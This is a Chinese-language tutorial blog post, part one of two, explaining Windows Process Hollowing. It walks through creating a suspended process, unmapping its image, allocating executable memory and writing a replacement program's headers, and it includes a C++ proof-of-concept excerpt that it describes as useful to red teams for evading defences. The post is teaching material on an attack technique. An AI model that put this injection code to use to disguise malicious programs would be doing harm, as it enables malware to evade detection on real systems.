【Day 20】薛丁格的 Process (上) - Process Hollowing

环境

  • Windows 10 21H1
  • Visual Studio 2019
  • PE-bear v0.4.0.3

介绍

Process Hollowing 跟【Day 06】致不灭的 DLL - DLL Injection 所介绍的 DLL Injection 都被 MITRE 归类於 Process Injection 的范畴,也就是把自己的程序放到别的 Process 执行。

因为 Process Hollowing 是把一个合法的 Process 原本要执行的程序挖空,并替换成自己的程序,其中被替换掉的 Process 指向的档案路径仍然是原本的。虽然实际上执行的是恶意程序,但外表却看起来正常。所以对於红队来说它的优点就是可以用来绕过一些防御。

原理

以下原理是在 32-bit 情况,因为同样的技巧,32-bit 可以在 64-bit 执行,反之却不能。但是 64-bit 原理其实一样,只是有些细节差异。

实作流程

  1. 建立一个 Suspended Process,它就是要被注入的目标 Process
  2. 读取要注入的档案
  3. Unmap 目标 Process 的记忆体
  4. 在目标 Process 申请一块记忆体
  5. 把 Header 写入目标 Process
  6. 把各 Section 根据它们的 RVA 写入目标 Process
  7. Rebase Relocation Table,因为 Image Base 可能会不一样
  8. 取出目标 Process 的 Context,把暂存器 EAX 改成我们注入的程序的 Entry Point
  9. 恢复执行原本状态为 Suspended 的目标 Process

各步骤说明

在这一篇会说明前 5 个步骤,後 4 个会在下一篇继续。

1. 建立一个 Suspended Process,它就是要被注入的目标 Process

使用 CreateProcessA 建立 Process,其中有个重点是第六个参数 dwCreationFlags 必须是 CREATE_SUSPENDED (0x4),因为需要它维持在初始状态,让我们能够对其中的记忆体进行修改。下面可以看到 MSDN 对这个 Flag 的描述。

The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called.

所以说在我们建立了目标 Process,并且把它的记忆体窜改成我们自己的程序後,呼叫 ResumeThread 就可以让它恢复执行。

有了目标 Process 的 Handle,就可以取得 PEB,里面包含後面步骤需要用到的 ImageBaseAddress。

2. 读取要注入的档案

使用 CreateFileA 取得目标档案的 Handle,然後用 ReadFile 读取档案内容。

在这个步骤还需要取得 File HeaderOptional Header 的位址。会需要 File Header 是因为我们需要其中的 NumberOfSections 成员。会需要 Optional Header 则是因为我们需要其中的 SizeOfImage、ImageBase、SizeOfHeaders、IMAGE_DATA_DIRECTORY、AddressOfEntryPoint。需要它们的原因是等等要把每个 Header 和 Section 排到正确的位址。

File Header 和 Optional Header 各是 NT Header 的其中一个成员,NT Header 则是从 DOS Header 算出来的。

3. Unmap 目标 Process 的记忆体

从 ntdll.dll 中取出 NtUnmapViewOfSection 函数,Unmap 目标 Process 的 Image。

如果想要观察这个函数实际上做了什麽,可以用 x32dbg 下断点,然後用 Process Explorer 观察目标 Process。

下图左边是我在 x32dbg 下断点於执行 NtUnmapViewOfSection 之前,而右边 Process Explorer 下方则是目标 Process 目前的 Image。

执行 NtUnmapViewOfSection 後原本的 Image 就消失了。

4. 在目标 Process 申请一块记忆体

使用 VirtualAllocEx 向目标 Process 申请一块记忆体,其中参数的设定很重要。hProcess 是目标 Process 的 Handle;lpAddress 是原本被 Unmap 的 Image 的 Base Address;dwSize 是我们要注入的档案大小;flAllocationType 是 MEM_COMMIT | MEM_RESERVE;flProtect 可以针对不同的记忆体区段去做配置,不过 POC 方便起见,直接用 PAGE_EXECUTE_READWRITE。

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

5. 把 Header 写入目标 Process

把我们的档案 Header 写入目标 Process,首先要注意的是 Image Base 的部分。由於 Image 载入後,因为 ASLR(Address Space Layout Randomization) 的缘故,Image Base 不一定相同。

所以在改 Optional Header 中的 ImageBase 成员之前,我们要先算出档案的 Image Base 和目标 Process 的 Image Base 的距离。之後就可以把档案的 Header 用 WriteProcessMemory 写到目标 Process。

那档案的 Header 是指什麽呢?打开 PE-bear 查看档案,可以看到左边有 DOS Headers、DOS stub、NT Headers 等等。简单来说,现在要写入目标 Process 的部分就是除了 Sections 之外的东西。

POC

POC 改自 m0n0ph1/Process-Hollowing,只有加入一些注解并把一些非必要的程序拔掉减少篇幅。完整的程序专案可以参考我的 GitHub zeze-zeze/2021iThome

void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
    // 1. 建立一个 Suspended Process,它就是要被注入的目标 Process
    LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();

    // 第六个参数必须是 CREATE_SUSPENDED,因为需要它维持在初始状态,让我们能够对其中的记忆体进行修改
    CreateProcessA
    (
        0,
        pDestCmdLine,		
        0, 
        0, 
        0, 
        CREATE_SUSPENDED, 
        0, 
        0, 
        pStartupInfo, 
        pProcessInfo
    );
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");

        return;
    }

    // 取得 PEB,里面包含後面步骤需要用到的 ImageBaseAddress
    PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);


    // 2. 读取要注入的档案
    HANDLE hFile = CreateFileA
    (
        pSourceFile,
        GENERIC_READ, 
        0, 
        0, 
        OPEN_ALWAYS, 
        0, 
        0
    );
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error opening %s\r\n", pSourceFile);
        return;
    }
    DWORD dwSize = GetFileSize(hFile, 0);
    PBYTE pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);

    // 取得 File Header 和 Optional Header
    // File Header 和 Optional Header 各是 NT Header 的其中一个成员,NT Header 则是从 DOS Header 算出来的
    PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
    PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);


    // 3. Unmap 目标 Process 的记忆体
    // 从 ntdll.dll 中取出 NtUnmapViewOfSection
    HMODULE hNTDLL = GetModuleHandleA("ntdll");
    FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
    _NtUnmapViewOfSection NtUnmapViewOfSection =
        (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
    DWORD dwResult = NtUnmapViewOfSection
    (
        pProcessInfo->hProcess, 
        pPEB->ImageBaseAddress
    );
    if (dwResult)
    {
        printf("Error unmapping section\r\n");
        return;
    }


    // 4. 在目标 Process 申请一块记忆体
    // Process 是目标 Process 的 Handle
    // lpAddress 是原本被 Unmap 的 Image 的 Base Address
    // dwSize 是我们要注入的档案大小
    // flAllocationType 是 MEM_COMMIT | MEM_RESERVE
    // flProtect 可以针对不同的记忆体区段去做配置,不过 POC 方便起见,直接用 PAGE_EXECUTE_READWRITE
    PVOID pRemoteImage = VirtualAllocEx
    (
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!pRemoteImage)
    {
        printf("VirtualAllocEx call failed\r\n");
        return;
    }


    // 5. 把 Header 写入目标 Process
    // 在改 Optional Header 中的 ImageBase 成员之前,算出档案的 Image Base 和目标 Process 的 Image Base 的距离
    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;
    pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;

    // 把我们的档案 Header 写入目标 Process
    if (!WriteProcessMemory
    (
        pProcessInfo->hProcess, 				
        pPEB->ImageBaseAddress, 
        pBuffer, 
        pSourceHeaders->OptionalHeader.SizeOfHeaders, 
        0
    ))
    {
        printf("Error writing process memory\r\n");
        return;
    }

参考资料


<<:  Day 21 例外及堆叠的处理方式

>>:  数据分析的好夥伴 - Python基础:资料形式(上)

Day-12 决策树(decision tree)

排序的速度 Quicksort,需要 heapsort,需要 merge sort,需要 inser...

Day 24 : Jenkins 在Build完通知与好用套件

介绍Jenkins的章节即将进入尾声了。事实上你可能会想Jenkins默认介面这麽老气,怎麽就成为全...

Day3 资料储存 - block storage优缺点及场景

优缺点 优点 Block storage最大的优点就是他使得计算与储存分离,我们能轻易地透过LUN ...

我选择的学习语言跟框架

我选了python当作主要开发语言 因为我以前有用过python而且很潮 框架部分我选比较主流的Dj...

虹语岚访仲夏夜-15(打杂的Allen篇)

小七离开便利商店後,店员『太子』走了过来... 「Allen 我觉得你走到那,都有灾难。」 我看了看...